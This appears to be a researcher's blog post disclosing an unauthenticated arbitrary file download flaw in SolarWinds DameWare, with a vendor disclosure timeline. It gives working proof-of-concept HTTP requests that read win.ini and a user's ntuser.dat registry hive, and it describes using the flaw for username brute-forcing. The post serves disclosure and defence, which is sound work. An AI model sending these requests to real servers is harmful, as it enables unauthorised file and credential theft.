In course of a recent research project, I had a look at SolarWinds DameWare, which is a commercial Remote Access Software product running on Windows Server. I identified a remote file download vulnerability in the download function for the client software that can be exploited remotely and unauthenticated and that allows to download arbitrary files from the server that is running the software.
A very simple proof of concept HTTP request to download the C:\Windows\win.ini file of the target machine is the following:
GET /dwnl/c%3a\Windows\win.ini HTTP/1.1
Host: $HOSTIP
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close
Referer: https://$HOSTIP/dwnl/
Instead, an attacker could download any file on the system that the webserver-process has access to, for example the users registry hive or other files like this:
GET /dwnl/c%3a\Users\$USERNAME\ntuser.dat HTTP/1.1
Further, an attacker can use this request as an oracle to check if a guessed username exists or not, which enabled us to successfully perform a brute-force dictionary attack on existing users and to identify the process owner username.
Of course, we disclosed this vulnerability to the vendor quite some time before, as can be seen from the disclosure timeline below:
- 2016-06-15 Email to EMEASales@DameWare.com to establish contact
- 2016-06-23 Email to customersuccess@solarwinds.com to establish contact
- 2016-07-01 Telephone call to get contact information (24/7-monitored email address customerservice@solarwind.com has been given to us)
- 2016-07-01 Email to customerservice@solarwind.com to establish contact
- 2016-07-12 Email to customerservice@solarwind.com to establish contact
- 2016-08-02 Twitter to establish contact
- 2016-08-03 Response by Solarwinds, short description of vuln was forwarded to appropriate contact person at Dameware, it was said that they will contact us
- 2016-08-09 The product manager of Dameware responded and asked for a PoC. I sent the PoC via email and offered to assist in case of further questions
- 2016-08-10 Answer by the product manager that the development team is working on validating the vulnerability and asses a fix
- 2016-09-20 Email to the product manager to ask for news on the issue and announce this blog post
Thus, the issue should be fixed in the meantime. However, I would advise all people running the software to verify if this vulnerability exists in their environment (using the PoC request shown above) and if so, to contact the vendor for a patch and implement some filter mechanism for such requests as an intermediate measure as soon as possible.
If you are interested in security research in general, meet me at TR17 😉
Best,
Andreas